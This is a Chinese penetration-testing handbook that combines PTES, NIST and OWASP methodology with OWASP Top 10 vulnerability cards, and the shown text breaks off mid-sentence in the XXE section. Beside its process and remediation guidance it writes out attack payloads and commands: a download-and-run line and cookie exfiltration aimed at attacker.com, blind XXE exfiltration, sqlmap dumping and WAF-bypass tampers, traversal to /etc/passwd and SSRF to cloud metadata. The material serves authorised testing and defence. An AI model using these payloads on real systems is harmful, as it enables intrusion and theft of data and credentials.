渗透测试知识库
将 PTES 方法论框架、NIST/OSSTMM/OWASP 多框架对比、以及 OWASP Top 10 漏洞攻防技术整合为一份可执行的手册。
第一部分讲「怎么测」,第二部分讲「测什么」,第三部分讲「特殊场景怎么测」,三者在阶段衔接处互相指引。
00 · 使用指南:三份报告的整合逻辑
本手册整合了三份原始报告的核心内容:报告 A(PTES 工作台)侧重流程与检查清单;报告 B(完整学习手册)侧重框架对比与深度方法论;报告 C(OWASP 攻防手册)侧重具体漏洞技术与工具命令。
第一部分覆盖从授权到复测的完整项目流程,把报告 A 和 B 的去重内容按阶段重组。
第二部分把报告 C 的漏洞详解嵌入对应阶段,在「漏洞分析」与「渗透利用」阶段提供技术实现。
每个阶段末尾标注「详见第二部分第 X 章」;每个漏洞卡片顶部标注「所属 PTES 阶段」。
Web/API、网络/认证、内网/云/OT 等不能混用一套打法的场景,在第三部分独立展开。
01 · 框架总览:这些框架各自解决什么问题
不要把它们当成互相竞争的"唯一标准"。更实用的做法是:用 PTES 组织渗透测试叙事,用 NIST 组织测试治理和技术方法,用 OWASP WSTG 深入 Web/API,用 OSSTMM 补充渠道、测量与操作安全。
项目执行主线:从前期沟通到报告,7 个阶段覆盖端到端测试生命周期。
技术安全测试与评估指南:规划 → 执行 → 测试后活动;政府背书。
Web 应用测试知识库:信息收集、配置、身份、访问控制、输入验证、业务逻辑、API 等 12 大类。
以 Human、Physical、Wireless、Telecommunications、Data Networks 等渠道组织测试,强调信任分析与可重复测量。
战术 × 技术知识库。每个发现可标注技术编号,支撑红队模拟、紫队验证、检测工程闭环。
CREST 约束专业服务能力与质量;TIBER-EU 是情报驱动的监管级红队框架,面向金融业。
七框架横向对比
| 框架 | 发布方 | 结构 | 核心特点 | 最佳适用 |
|---|---|---|---|---|
| PTES | 安全社区 2009+ | 7 阶段流程 | 端到端覆盖;强调被忽略的前期交互与后渗透 | 通用渗透测试项目骨架 |
| NIST SP 800-115 | NIST 2008 | 4 阶段 | 政府背书;测试/检查/访谈三类方法 | 政企/合规项目权威背书 |
| OSSTMM 3 | ISECOM | 5 通道 + RAV | 覆盖面最广;可量化安全度量 | 含物理/社工的综合审计 |
| OWASP WSTG | OWASP 社区 | 12 类测试用例 | Web/API 测试最权威的内容清单 | Web 测试用例级依据 |
| MITRE ATT&CK | MITRE 2013+ | 战术 × 技术 | 攻防共同语言;可生成攻击热力图 | 报告标注/红队/紫队 |
| Cyber Kill Chain | Lockheed Martin | 7 步线性模型 | 高层视角,断任意一环即胜 | 攻击叙事与管理层汇报 |
| TIBER-EU | 欧洲央行 | 3 阶段 | 情报驱动;强制紫队复盘 | 金融机构合规 TLPT |
框架映射关系
| PTES(7 阶段) | NIST(4 阶段) | Kill Chain | ATT&CK 战术 |
|---|---|---|---|
| 1 前期交互 | 计划 Planning | — | — |
| 2 情报收集 | 发现 Discovery | 侦察 | TA0043 Reconnaissance |
| 3 威胁建模 | 武器化 | TA0042 Resource Development | |
| 4 漏洞分析 | 攻击 Attack | 投递 | TA0001 Initial Access |
| 5 渗透利用 | 利用 | TA0002 Execution / TA0004 Privilege Escalation | |
| 6 后渗透 | 安装 / C2 / 达成目标 | Persistence / Discovery / Lateral Movement / Exfiltration | |
| 7 报告 | 报告 Reporting | 防御复盘 | 全矩阵热力图 |
四类活动的区分
| 活动类型 | 核心目的 | 深度/广度 | 蓝队知情 | 周期 |
|---|---|---|---|---|
| 漏洞扫描 | 自动化发现已知漏洞 | 广度优先,不验证可利用性 | 通常知情 | 小时~天 |
| 渗透测试 | 验证漏洞真实可利用性与业务影响 | 深度优先,人工验证 + 利用链 | 通常知情 | 1~4 周 |
| 红队演练 | 以达成特定目标为导向的全方位隐蔽攻击 | 目标导向,含社工/物理/钓鱼 | 通常不知情 | 数周~数月 |
| 紫队演练 | 红蓝协同,逐条验证检测与响应能力 | 按 ATT&CK 技术逐条过 | 深度协作 | 天~周,可持续 |
三种测试模式
- 黑盒(Black-box):零先验知识,仅提供目标名称。最贴近外部攻击者,但时间成本高、覆盖率低。
- 白盒(White-box):提供源码、架构、账号。单位时间发现最多问题,适合上线前深度测试。
- 灰盒(Grey-box):介于两者之间,典型做法是提供普通用户账号。商业项目中最常见。
02 · 前期交互:把"能不能打、怎么打"写成纸面约定
这不是行政前置,而是技术测试的安全边界。没有清晰授权,就无法判断一个动作是测试还是越界。
必须写清的范围
- 目标 IP、域名、云账户、应用、API、无线和物理范围
- 允许的时间窗口、源 IP、测试账号、联系人
- 明确排除:第三方、生产数据、DoS、社工、持久化、破坏性利用
- 允许的验证深度:仅证明漏洞、获取低权限 Shell,还是允许影响评估
ROE 最小模板
目标:明确 IP / 域名 / 应用 / API 允许动作:发现、枚举、低风险验证;利用需单独批准 禁止动作:DoS、破坏、真实凭据爆破、未授权横向 时间:开始 / 结束 / 黑名单窗口 来源:测试机 IP 与 User-Agent 停止条件:服务错误率、账号锁定、数据访问、告警升级 联系人:技术、业务、应急响应 交付:原始证据、发现清单、风险、修复、复测
认证测试特殊要求
必须写明测试账号、每账号/全局最大尝试次数、最小延迟、并发、锁定监测和立即停止路径;未经单独明确批准,禁止对真实账号进行猜测、喷洒或撞库。
授权确认后,进入 第三章 情报收集。在测试执行过程中,所有技术动作都受本章 ROE 约束;若发现需扩大范围,必须回到本章重新审批。
03 · 情报收集:先看清楚,再决定打哪里
以攻击者视角建立目标的攻击面地图。分两路推进:被动侦察(OSINT)不与目标直接交互;主动侦察直接接触目标、会进日志,噪音级别需对齐 ROE。
被动侦察(OSINT)
| 子任务 | 方法 | 工具 | 说明 |
|---|---|---|---|
| 域名与资产 | 证书透明度、DNS 枚举、子域爆破 | crt.sh、Subfinder、Amass | 被动为主 |
| 人员情报 | 搜索引擎语法、招聘 JD、社交网站 | theHarvester、Hunter.io | 邮箱格式、技术栈线索 |
| 暴露面测绘 | 互联网测绘平台检索 | Shodan、Censys、FOFA | 不接触目标即可拿到开放端口 |
| 代码与凭据泄露 | 代码托管平台检索 | GitHub 搜索、Gitleaks、TruffleHog | 硬编码密钥是常见突破口 |
主动侦察
# 只针对授权目标,先做低风险服务识别
nmap -Pn -sV --version-light -p 22,80,443,8080 TARGET
curl -i --max-time 10 https://TARGET/
# 记录:时间、源地址、命令、输出、异常、下一步假设资产台账字段
每个资产记录:地址、端口、服务、版本、环境、负责人、来源、首次/最近发现时间、下一步假设。
资产地图建立后,进入 第四章 威胁建模。情报收集阶段发现的技术栈信息将直接输入威胁建模的入口分析。
04 · 威胁建模:决定测什么,而不是盲目扫什么
把情报转化为攻击优先级。回答三个问题:哪些资产最值钱?哪类攻击者最现实?他们最可能走哪条路径?
系统、应用、API、身份、数据、网络边界
公网服务、登录、上传、导入、Webhook、第三方集成
匿名用户、普通用户、管理员、服务账号、内部网络
认证绕过、越权、敏感数据、命令执行、业务资金/权限
把假设写成可验证句子
- "未认证用户可能访问管理员对象;验证标准是使用测试对象 A/B 对比响应和权限。"
- "上传功能可能只按扩展名判断类型;验证标准是无害 Canary 文件在受控目录的处理结果。"
- "SSH 可能允许密码认证;验证标准是服务端认证方式和审计日志,而不是单看 Banner。"
结构化建模方法
- STRIDE:按欺骗/篡改/抵赖/信息泄露/拒绝服务/权限提升六类威胁枚举
- PASTA:七步风险中心方法
- DREAD:风险打分(危害性/复现性/可利用性/影响面/可发现性)
- 攻击树(Attack Tree):从目标倒推所需条件
输出 优先级列表、测试用例、需要的账号/数据、禁止的动作、成功与失败判据。
威胁建模产出「候选攻击路径清单」后,进入 第五章 漏洞分析。此时应已明确哪些漏洞类型最可能存在于目标,可直接跳转 第二部分 注入类漏洞 或 访问控制类 查看具体检测方法。
05 · 漏洞分析:把线索变成优先级
系统性地发现弱点,并通过人工验证剔除误报。自动化扫描给广度,人工分析给深度——两者缺一不可。
版本、配置、输入点、身份、对象、边界、错误信息、可重复性
结合公开漏洞、配置弱点、业务逻辑,但不要把版本命中直接当成可利用
可达性、权限、数据敏感度、横向可能性、业务影响、检测概率、修复难度
发现分级
- 信息:技术栈、版本、公开目录等线索
- 疑似:异常响应或扫描器命中,但缺少可重复证明
- 确认:在授权范围内用无害、最小化步骤稳定复现
- 高影响确认:还需证明影响边界,不应为了"展示威力"扩大数据访问
工具选择
| 对象 | 自动化工具 | 人工 / 半自动 | 要点 |
|---|---|---|---|
| 主机与网络 | Nessus、OpenVAS、Nuclei | Nmap NSE、手工 Banner | 扫描器结果必须逐条人工核实 |
| Web 应用 | AWVS、Xray | Burp Suite、浏览器 DevTools | 按 WSTG 用例逐项过;业务逻辑只能靠人工 |
| API | Postman + 自定义脚本 | Burp、jwt_tool | 重点测越权(BOLA/IDOR)与限流 |
| 配置与合规 | Lynis、CIS Benchmarks | 配置基线人工比对 | 误报率高,需结合业务场景 |
本章讲「怎么管理漏洞分析流程」,具体漏洞的检测原理、Payload、工具命令详见第二部分:
注入类(SQLi / CMDi / XSS) · 访问控制(IDOR / 遍历 / SSRF) · 配置与供应链(XXE / 反序列化 / 上传) · 认证与会话(爆破 / JWT / MFA)
06 · 渗透利用:证明漏洞"真的能用"
对已确认漏洞实施受控利用,拿到初始访问权限,用事实证明"该漏洞在真实攻击中可造成入侵"。一切动作以 ROE 为边界:能证明即可,不做破坏性动作。
决策循环
利用阶段三原则
拿到能证明访问的证据就停手,不恋战
证明数据库可读时 select 一行非敏感字段或仅列库名,绝不拖库
截图带时间戳与目标,详见第八章证据链
# 常用利用工具速查
sqlmap -u "URL?id=1" --batch --risk=1 --level=1
python commix.py --url="http://target.com/ping?host=127.0.0.1" --batch
dalfox url "http://target.com/search?q=test" -b https://your.xss.ht
hydra -L users.txt -P pass.txt -t 4 ssh://target
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.ser上述命令的完整参数说明、WAF 绕过技巧、防御方案详见第二部分各漏洞卡片的「工具与命令」和「防御手段」标签页。
07 · 后渗透:从"打开一扇门"到"证明业务损失"
后渗透的核心不是"拿到 Shell 后继续做更多事",而是回答:初始问题能造成多大真实影响?
确认身份、角色、可访问资源,不扩大数据范围
只验证必要的最短攻击链,不做无关横向
优先元数据、标记文件、哈希、脱敏样本
删除测试账号/文件/会话,核对系统状态
后渗透工具选择
| 子任务 | 工具 | 说明 |
|---|---|---|
| 本地信息收集与提权 | LinPEAS / WinPEAS | 枚举配置错误、弱权限、内核漏洞 |
| 凭据获取 | Mimikatz、Responder | 内存凭据、LLMNR/NBT-NS 投毒 |
| 域环境路径分析 | BloodHound + SharpHound | 图化展示到 Domain Admin 的最短路径 |
| 横向移动 | NetExec、Impacket | 逐跳验证,记录每一跳的凭据来源 |
| 隧道与中转 | Chisel、frp、SSH 转发 | 以失陷主机为跳板进入不可直连网段 |
| C2 与持久化 | Cobalt Strike、Sliver | 仅在有明确授权时使用;持久化必须登记以便清理 |
影响叙事模板
前置条件:攻击者需要什么权限/网络位置? 利用动作:哪一个输入/认证/配置导致问题? 直接影响:可读取、修改或执行什么? 边界:哪些资源明确无法访问? 业务影响:机密性/完整性/可用性/合规/财务/检测能力 证据:时间、请求、响应、日志、截图、复现步骤 修复:具体控制措施与优先级 复测:如何证明问题已修复且没有回归
08 · 证据、报告与复测闭环
证据链回答一个问题:三个月后,当别人质疑"这个漏洞真的存在吗",你能否拿出完整、可复现、不可抵赖的记录?
合格证据的六个标准
| 标准 | 要求 | 反例 |
|---|---|---|
| 有时间戳 | 截图含系统时间;关键动作精确到秒 | 一张没有任何时间信息的 shell 截图 |
| 有上下文 | 包含目标 URL/IP、完整命令与输出 | 只截"uid=0(root)",看不出打的是谁 |
| 可复现 | 报告中的步骤能让第三方从零走通 | "用 Burp 改包即可"式的一句话 |
| 最小暴露 | 口令、密钥、PII 一律脱敏 | 截图里带着真实用户身份证号 |
| 完整性可校验 | 证据归档后计算 SHA-256 | 证据在多人手里传来传去无法确认 |
| 链式连贯 | 跨多步攻击链,每个节点证据互相衔接 | 只有入口和域管截图,中间三跳无记录 |
证据目录结构
PENTEST-PROJECT/ ├── 00-admin/ # 合同、授权书、ROE ├── 01-recon/ # 资产清单、OSINT、扫描输出 ├── 02-evidence/ # 每个发现一个文件夹 │ ├── FND-01/ # 截图 / 请求响应对 / pcap │ └── FND-02/ ├── 03-notes/ # 时间线操作日志 ├── 04-report/ # 报告草稿与终稿 └── 05-handover/ # 交付证据包(加密)、哈希清单
时间线日志格式
2026-08-14 09:32:11 UTC+8 | 10.20.0.15 | nmap -sV -sC -Pn 203.0.113.0/28 2026-08-14 10:05:47 UTC+8 | 10.20.0.15 | Burp 重放 /api/orders/1042 → 越权成功 2026-08-14 11:41:03 UTC+8 | 10.20.0.15 | 删除临时账号 pentest_tmp01
报告整体结构
| # | 章节 | 读者 | 要点 |
|---|---|---|---|
| 1 | 封面与文档信息 | 所有人 | 项目名、版本历史、密级、分发名单 |
| 2 | 执行摘要 | 管理层 | 1–2 页,业务语言零术语;Top 3-5 风险一句话讲清后果 |
| 3 | 范围与方法 | 审计/技术 | 目标、排除项、黑/灰/白盒、遵循的方法论 |
| 4 | 风险总览 | 管理层 | 各级别数量统计、攻击路径全景图 |
| 5 | 发现汇总表 | 所有人 | 编号、标题、严重度、CVSS、状态一屏看完 |
| 6 | 发现详情 | 工程师 | 逐项按模板展开 |
| 7 | 修复路线图 | 管理层/PM | 按优先级排序、责任人建议、Quick Win |
| 8 | 复测结果 | 所有人 | 前后对照证据 |
| 9 | 正面观察 | 所有人 | 测试中验证为有效的安全控制 |
| 10 | 附录 | 技术 | 工具版本、原始输出、证据索引、术语表 |
单项发现模板
FND-01 | 发票接口越权读取(IDOR)
严重度: 高(HIGH) CVSS: 8.1 状态: Open
位置: api.example.com — GET /v2/invoices/{id}
ATT&CK: T1190 Exploit Public-Facing Application
─────────────────────────────────────────────
描述: 接口仅校验登录态,未校验发票归属。任意注册用户修改
路径中的数字 ID 即可读取他人发票。
前置条件: 任一有效普通用户账号;发票 ID 为自增整数。
复现步骤: 1. 以用户 A 登录,创建发票得到 id=1042
2. 以用户 B 登录,请求 GET /v2/invoices/1042
3. 响应返回用户 A 的发票完整内容
影响: 全量用户发票数据可被批量遍历窃取,构成 PII 泄露事件。
修复建议: 在服务层授权中间件中校验 invoice.owner_id == 当前用户 ID
参考: OWASP WSTG-ATHZ-01 / CWE-639 / API1 Broken Object Level Auth
责任人/期限: 后端组 · 14 天内(HIGH SLA)09 · 复测与闭环管理
报告交付不是终点——风险真正降低的唯一证据是"复测通过"。没有复测的渗透测试,只是制造了一份昂贵的待办清单。
闭环流程
发现状态机
| 状态 | 含义 | 进入条件 |
|---|---|---|
| OPEN | 已确认,未修复 | 报告交付时默认状态 |
| IN PROGRESS | 修复进行中 | 责任人认领并启动修复 |
| READY FOR RETEST | 待复测 | 修复方声明已修复,提交复测申请 |
| CLOSED | 复测通过 | 原步骤复现失败,前后证据对照齐全 |
| RISK ACCEPTED | 风险接受 | 业务方书面确认接受残余风险(需管理层签字) |
| REOPENED | 复测未通过/复发 | 复测仍可复现,回到 OPEN 并升级关注 |
闭环健康度指标
| 指标 | 计算 | 反映什么 |
|---|---|---|
| 闭环率 | 已关闭发现数 / 发现总数 | 整改推进力度;建议按严重度分层统计 |
| MTTR | 平均修复时长(按等级) | 修复效率 vs SLA 达成情况 |
| 复测通过率 | 一次复测通过数 / 复测总数 | 修复质量;通过率低说明开发理解偏差大 |
| 复发率 | 再次打开的同类发现占比 | 是否存在系统性根因(框架缺陷、培训缺失) |
10 · 完整项目检查清单
按"启动前 → 执行中 → 收尾 → 交付后"四个时点组织的核对清单,可直接在页面上勾选(状态保存在浏览器本地)。
A · 项目启动前(授权与范围)
B · 执行中(每阶段出口检查)
C · 收尾(清理与证据归档)
D · 报告与交付后(闭环)
11 · OWASP Top 10:2021 → 2025 对照
2025 版收录超过 280 万个应用的测试数据、分析 589 个 CWE。核心变化:SSRF 并入访问控制失效;安全配置错误跃升第 2;新增「异常情况处理不当」;「易受攻击组件」扩展为「软件供应链故障」。
| 2025 排名 | 类别 | 2021 对应 | 变化 | 要点 |
|---|---|---|---|---|
| A01 | 访问控制失效 | A01 | → 持平 | 稳居首位;SSRF 并入本类 |
| A02 | 安全配置错误 | A05 | ↑ 上升 | 第 5 → 第 2;XXE 归入本类 |
| A03 | 软件供应链故障 | A06 | ↑ 上升 | 平均利用与影响评分最高 |
| A04 | 加密机制失效 | A02 | ↓ 下降 | 排名下降 |
| A05 | 注入 | A03 | ↓ 下降 | XSS 自 2021 起并入注入类 |
| A06 | 不安全设计 | A04 | ↓ 下降 | 威胁建模有所改善 |
| A07 | 身份认证失效 | A07 | → 持平 | 聚焦现代登录/会话/令牌流程 |
| A08 | 完整性失效 | A08 | → 持平 | 含不安全反序列化 |
| A09 | 日志与告警失效 | A09 | → 持平 | 强调「告警与有效检测」 |
| A10 | 异常情况处理不当 | — | ★ 新增 | 错误泄露、fail-open、边界条件 |
12 · 注入类漏洞:SQL 注入、OS 命令注入、XSS
注入是 OWASP 榜单的「常青树」。2021 版数据显示,94% 的应用被测出某种形式的注入问题。根源在于程序将用户输入直接拼接进代码逻辑结构。
SQL 注入 SQL Injection · 所属 PTES 阶段:漏洞分析 / 渗透利用
SQL 注入的根源在于程序将用户输入直接拼接进 SQL 语句,使输入数据得以改变代码的逻辑结构。由此可衍生认证绕过、数据拖库、篡改数据乃至写 Webshell。
-- 攻击者输入 admin' -- 后,密码校验被注释符失效 SELECT * FROM users WHERE username = 'admin' -- ' AND password = '任意';
主要攻击类型
' UNION SELECT 1,version(),user()-- -' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -' AND SUBSTRING(database(),1,1)='a'-- -' AND IF(1=1,SLEEP(5),0)-- -'; DROP TABLE temp;-- -admin'-- / %bf%27sqlmap 是 SQL 注入自动化检测与利用的事实标准工具。
# 基础检测(GET 参数) sqlmap -u "http://target.com/page.php?id=1" --batch # 从 Burp 抓包文件测试 POST 请求 sqlmap -r request.txt --batch # 指定参数 + 提升检测级别与风险 sqlmap -u "URL" -p id --level=3 --risk=2 --batch # 枚举数据库 → 表 → 列 → 拖库 sqlmap -u "URL" --dbs --batch sqlmap -u "URL" -D dbname --tables --batch sqlmap -u "URL" -D dbname -T users -C username,password --dump --batch # 指定注入技术(B布尔/E报错/U联合/S堆叠/T时间) sqlmap -u "URL" --technique=BEUST --batch # 读文件 / OS Shell(高危,仅限授权靶场) sqlmap -u "URL" --file-read=/etc/passwd sqlmap -u "URL" --os-shell
WAF 绕过:tamper 脚本
# 经典组合:注释替换空格 + 随机大小写 + BETWEEN 替换比较符 sqlmap -u "URL" --tamper=space2comment,randomcase,between --random-agent --delay=2 --batch sqlmap --list-tampers # 查看全部内置绕过脚本
1. 参数化查询(预编译)—— 根治方案
将 SQL 结构与数据彻底分离,任何输入都只是数据:
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();# Python 参数化,禁止 % 拼接 cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
2. 配套纵深防线
- ORM 框架:MyBatis 用
#{}而非${},避免原生 SQL 拼接接口 - 输入校验:白名单校验类型与长度;排序字段等无法参数化的位置用枚举映射
- 最小权限:Web 数据库账户禁用 FILE、DROP、写权限,按业务拆分账户
- 错误收敛:禁止向用户回显 SQL 错误堆栈(报错注入的土壤)
- WAF + 告警:ModSecurity CRS 内置 SQLi 规则,对异常查询速率告警
OS 命令注入 OS Command Injection · 所属 PTES 阶段:渗透利用
当应用把用户输入拼接到系统命令中执行(PHP 的 system()、Python 的 os.system()),攻击者可通过命令分隔符注入任意命令。通用分隔符:& && | ||;Unix 特有:;、换行符、反引号、$()。
host=127.0.0.1; whoami # 分号拼接 host=127.0.0.1 && cat /etc/passwd host=127.0.0.1 | id host=$(curl http://attacker.com/s.sh|sh) # 命令替换
无回显时采用盲注手法:时间延迟(sleep 10)、输出重定向到 Web 可访问目录、带外交互(nslookup $(whoami).attacker.com)。
# Commix:命令注入自动化工具 python commix.py --url="http://target.com/ping?host=127.0.0.1" --batch # 手工验证(Burp Repeater 改包) GET /ping?host=127.0.0.1%3bcat%20/etc/passwd HTTP/1.1 # 时间盲注探测 curl "http://target.com/ping?host=127.0.0.1;sleep+5" -w "%{time_total} " # DNS 带外 GET /ping?host=127.0.0.1;nslookup+$(whoami).xxxx.dnslog.cn
- 首选方案:不调用系统命令。用语言内置 API 替代(如 Java 的
InetAddress代替调用 ping) - 必须调用时使用参数数组形式而非 shell 拼接:
# 安全:shell=False + 参数数组,杜绝分隔符注入 subprocess.run(["ping", host], shell=False)
- 严格白名单校验输入(IP/域名格式正则),拒绝一切元字符
- 最小权限运行应用进程,限制出站连接与可写目录
- 监控异常子进程创建行为(RASP/HIDS)
跨站脚本 XSS Cross-Site Scripting · 所属 PTES 阶段:漏洞分析 / 渗透利用
XSS 的本质是攻击者将恶意脚本注入网页,在其他用户浏览器中执行。根源:服务器将用户可控数据输出到 HTML 页面时未做安全处理。
三大类型
?q=<script>alert(1)</script>昵称/评论区写入 <img onerror=…>location.hash → innerHTML经典 Payload 与绕过
<script>alert(document.cookie)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> "><script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <ScRiPt>alert(1)</ScRiPt> <!-- 大小写绕过 --> <scr<script>ipt>alert(1)</script> <!-- 双写绕过 -->
dalfox 是目前最主流的开源 XSS 扫描器(Go 编写),支持反射/存储/DOM 三类自动化检测。
# 单目标扫描 dalfox url "http://testphp.vulnweb.com/listproducts.php?cat=1" # 携带 Cookie 与盲 XSS 回调平台 dalfox url "https://target.com/search?q=test" -C "session=xxx" -b https://your.xss.ht # 批量管道模式 cat urls.txt | dalfox pipe # 存储型 XSS:注入点与触发点分离验证 dalfox sxss "https://target.com/update_profile" -d "nickname=test" --trigger "https://target.com/my_profile"
其他工具:XSStrike、Burp Scanner、DOM Invader(专测 DOM XSS)。
1. 输出编码(上下文相关)—— 核心防线
根据输出位置选择编码:HTML 体转义 < > & " ';属性、JS 上下文、URL 分别用对应编码。使用成熟库(OWASP Java Encoder、DOMPurify)而非手写。
// 危险:直接把用户输入写入 DOM element.innerHTML = userInput; // 安全:textContent(纯文本)或 DOMPurify 消毒 element.textContent = userInput; element.innerHTML = DOMPurify.sanitize(userInput);
2. CSP 内容安全策略
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'
- Cookie 加固:
HttpOnly+Secure+SameSite - 输入校验:长度限制;富文本场景白名单标签过滤
- 现代框架默认转义;避免
dangerouslySetInnerHTML、v-html - 辅助头:
X-Content-Type-Options: nosniff、X-Frame-Options: DENY
13 · 访问控制类:越权、路径遍历、SSRF、CSRF
访问控制失效连续多年位居 OWASP 榜首:2021 版数据显示 94.55% 的应用存在某种形式的访问控制缺陷,相关 CVE 达 19,013 个。2025 版将 SSRF 并入本类。
越权 / IDOR Broken Access Control · 所属 PTES 阶段:漏洞分析
本质:服务端未对每个请求做「你是谁、你能访问什么」的强制校验。
- 水平越权:同级用户互访数据(用户 A 查看/修改用户 B 的订单)
- 垂直越权:低权限用户执行高权限操作(普通用户调用管理员接口)
# 水平越权:修改资源 ID GET /api/user/123/profile → GET /api/user/456/profile # 垂直越权:普通用户直接调用管理接口 POST /admin/deleteUser?id=100 # 参数级越权:篡改角色字段 {"user_id": 123, "role": "admin"}
检测工具:Burp 插件 Autorize——以高权限用户会话为基准,自动用低权限会话重放所有请求,对比响应差异批量发现越权点。
- 服务端逐请求鉴权:绝不依赖前端隐藏按钮——「界面不展示 ≠ 接口不可达」
- 对象级授权(BOLA 防护):每个资源访问必须校验归属:
# 错误:只查 ID,不查归属 order = db.get("SELECT * FROM orders WHERE id = %s", order_id) # 正确:WHERE 条件绑定当前用户 order = db.get("SELECT * FROM orders WHERE id = %s AND user_id = %s", order_id, current_user.id)
- 使用不可猜测的资源标识(UUID 代替自增 ID)作为纵深补充,但不可替代鉴权
- 默认拒绝策略 + 集中式权限模型(RBAC/ABAC),API 网关统一鉴权
- 越权访问行为记入安全日志并告警
路径遍历 Path Traversal · 所属 PTES 阶段:漏洞分析 / 渗透利用
攻击者通过 ../ 序列跳出预期目录读取任意文件:/etc/passwd、配置文件 .env、数据库备份、源代码等。
GET /download?file=../../../../etc/passwd file=/etc/passwd # 直接用绝对路径 file=....//....//etc/passwd # 非递归剥离绕过 file=%2e%2e%2f%2e%2e%2fetc/passwd # URL 编码 file=%252e%252e%252fetc%252fpasswd # 双重 URL 编码 file=../../../etc/passwd%00.png # 空字节截断后缀校验
常用工具:Burp Suite、OWASP ZAP、DirBuster、wfuzz、Nikto。
最佳实践是避免把用户输入直接传给文件系统 API;必须接受时按「白名单 → 拼接到基目录 → 规范化 → 校验前缀」流程处理:
File file = new File(BASE_DIRECTORY, userInput); if (file.getCanonicalPath().startsWith(BASE_DIRECTORY + File.separator)) { // 规范化后的路径仍在基目录内,安全 } else { throw new SecurityException("非法路径"); }
- Web 进程低权限运行、敏感目录禁止 Web 用户访问
- 日志监控异常路径访问
服务端请求伪造 SSRF Server-Side Request Forgery · 所属 PTES 阶段:渗透利用
SSRF 是「服务器替攻击者打洞」:应用根据用户提供的 URL 发起请求(图片加载、URL 预览、Webhook),攻击者控制请求目标,利用服务器所处的可信网络位置访问内网。经典案例:2019 年 Capital One 数据泄露(SSRF + AWS 元数据服务),波及约 1 亿用户。
http://169.254.169.254/latest/meta-data/iam/security-credentials/http://192.168.0.1:22file:///etc/passwdgopher://127.0.0.1:6379/_SET%20test%20hellohttp://2130706433 # 十进制 IP = 127.0.0.1 http://0x7f000001 # 十六进制 IP http://[::ffff:127.0.0.1] # IPv6 映射 http://xxx@evil.com # @ 符号混淆 # 短链接 / 302 重定向 → 内网 IP(绕过入口校验) # DNS Rebinding:首次解析合法 IP,TTL 过期后指向 169.254.169.254
- 白名单优先:只允许预定义可信域名/IP;必须支持任意 URL 时,将域名解析为规范 IP 后再判断是否属于内网段(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8、169.254.0.0/16)
- 协议白名单:仅允许 http/https,禁用 file://、gopher://、dict://、ftp://
- 禁用 HTTP 重定向(followRedirect=false)
- 防 DNS Rebinding:同时校验 A + AAAA 记录、限制 DNS TTL
- 云环境启用 IMDSv2(元数据服务需带 Token 请求)
- 网络层兜底:防火墙限制服务器出站(egress 白名单)、微隔离
跨站请求伪造 CSRF Cross-Site Request Forgery · 所属 PTES 阶段:漏洞分析
CSRF 利用浏览器自动携带目标站点 Cookie 的机制:用户已登录银行站点 A,此时访问攻击者页面 B,B 中隐藏的表单自动向 A 发起转账请求,浏览器携带 A 的会话 Cookie。
<form action="https://bank.example.com/transfer" method="POST" id="f"> <input type="hidden" name="to" value="attacker_account"> <input type="hidden" name="amount" value="10000"> </form> <script>document.getElementById('f').submit();</script>
- 用 Burp Suite 抓取目标请求
- 删除/篡改请求中的 CSRF Token、修改或删除 Referer 头
- 重放请求——若仍成功则存在漏洞
Burp Suite Professional 可右键 「Generate CSRF PoC」自动生成攻击 HTML 页面。
1. 同步器令牌模式 —— 主防线
每个会话/请求生成不可预测的随机 CSRF Token,嵌入表单隐藏字段或自定义请求头,服务端比对。Token 不能放在 Cookie 中。
<form method="post" action="/transfer"> <input type="hidden" name="_csrf" value="安全随机值"> </form>
2. SameSite Cookie
Set-Cookie: JSESSIONID=randomid; Secure; HttpOnly; SameSite=Lax
Strict仅同站请求携带 Cookie;Lax允许同站及顶级导航时携带- Referer/Origin 头校验作为辅助手段
- 敏感操作只用 POST/PUT/DELETE;关键操作二次验证(短信验证码)
14 · 配置与供应链:XXE、反序列化、文件上传、Log4Shell
2025 版将「易受攻击且过时的组件」扩展为软件供应链故障,覆盖依赖投毒、构建系统攻击、分发链路篡改等全链条风险。该类别出现频次较低,但平均利用分与影响分最高。
XXE 外部实体注入 XML External Entity · 所属 PTES 阶段:漏洞分析 / 渗透利用
XXE 利用 XML 解析器默认允许 DTD 及外部实体的特性:攻击者在 XML 中声明指向系统文件或网络资源的外部实体,解析器会真实加载并替换到文档中。可造成敏感文件泄露、内网端口扫描、SSRF、拒绝服务(Billion Laughs)乃至 RCE。
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>
无回显(Blind XXE):带外外带数据
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <!-- evil.dtd 中将 %file 内容拼接到对 attacker.com 的请求 URL 上,从 HTTP/DNS 日志读取 -->
# XXEinjector:自动化 XXE 检测(支持 Blind XXE) python xxeinjector.py -u http://target.com/api -p payload.xml # Burp Suite:将 Content-Type 改为 application/xml, # 注入 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 观察响应
核心:安全配置 XML 解析器——禁用外部 DTD + 禁用外部实体 + 禁用 DOCTYPE 声明,三管齐下。
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);
# Python:lxml 安全参数,或直接用 defusedxml(推荐) parser = etree.XMLParser(resolve_entities=False, no_network=True) from defusedxml.ElementTree import parse # PHP libxml_disable_entity_loader(true);
- 业务允许时用 JSON 替代 XML
- WAF 拦截含
